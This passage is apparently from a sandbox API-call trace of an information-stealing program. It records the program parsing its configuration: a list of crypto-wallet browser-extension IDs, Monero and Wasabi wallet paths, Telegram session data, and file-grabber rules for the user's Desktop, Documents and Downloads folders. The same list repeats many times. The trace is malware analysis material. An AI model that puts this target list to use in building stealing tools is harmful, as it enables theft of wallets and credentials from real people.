Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3445 [0266.316] LocalAlloc (uFlags=0x40, uBytes=0x1b6a) returned 0x6f4830 [0266.316] StrCpyW (in: psz1=0x6f1ee8, psz2="-" | out: psz1="-") returned="-" [0266.316] LocalFree (hMem=0x6f4830) returned 0x0 [0266.316] StrToIntW (lpSrc="5") returned 5 [0266.316] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f4848 [0266.316] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f4848, csidl=5, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\Documents") returned 1 [0266.319] PathCombineW (in: pszDest=0x6f4848, pszDir="C:\\Users\\kEecfMwgj\\Documents", pszFile="Monero\\\\wallets" | out: pszDest="C:\\Users\\kEecfMwgj\\Documents\\Monero\\\\wallets") returned="C:\\Users\\kEecfMwgj\\Documents\\Monero\\\\wallets" [0266.319] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f8830 [0266.319] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f4a70 [0266.319] StrCpyW (in: psz1=0x6f4a70, psz2="C:\\Users\\kEecfMwgj\\Documents\\Monero\\\\wallets" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\Monero\\\\wallets") returned="C:\\Users\\kEecfMwgj\\Documents\\Monero\\\\wallets" [0266.319] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Monero\\\\wallets\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\monero\\wallets\\*"), lpFindFileData=0x24f880 | out: lpFindFileData=0x24f880*(dwFileAttributes=0x6e27dc, ftCreationTime.dwLowDateTime=0x751dc35e, ftCreationTime.dwHighDateTime=0x6f4848, ftLastAccessTime.dwLowDateTime=0x1d, ftLastAccessTime.dwHighDateTime=0x24f89c, ftLastWriteTime.dwLowDateTime=0xe7, ftLastWriteTime.dwHighDateTime=0x24f8d6, nFileSizeHigh=0x3a0043, nFileSizeLow=0x55005c, dwReserved0=0x650073, dwReserved1=0x730072, cFileName="\\kEecfMwgj\\Documents\\Monero\\\\wallets", cAlternateFileName="䡈o䡈o")) returned 0xffffffff [0266.320] LocalFree (hMem=0x6f8830) returned 0x0 [0266.320] LocalFree (hMem=0x6f4848) returned 0x0 [0266.320] LocalFree (hMem=0x6fe628) returned 0x0 [0266.320] LocalFree (hMem=0x700f70) returned 0x0 [0266.321] LocalFree (hMem=0x7038b8) returned 0x0 [0266.321] LocalFree (hMem=0x6ef5a0) returned 0x0 [0266.321] LocalFree (hMem=0x6f1ee8) returned 0x0 [0266.323] StrStrW (lpFirst="wlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="wlts_") returned="wlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.323] StrStrW (lpFirst="wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.323] StrStrW (lpFirst="Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local 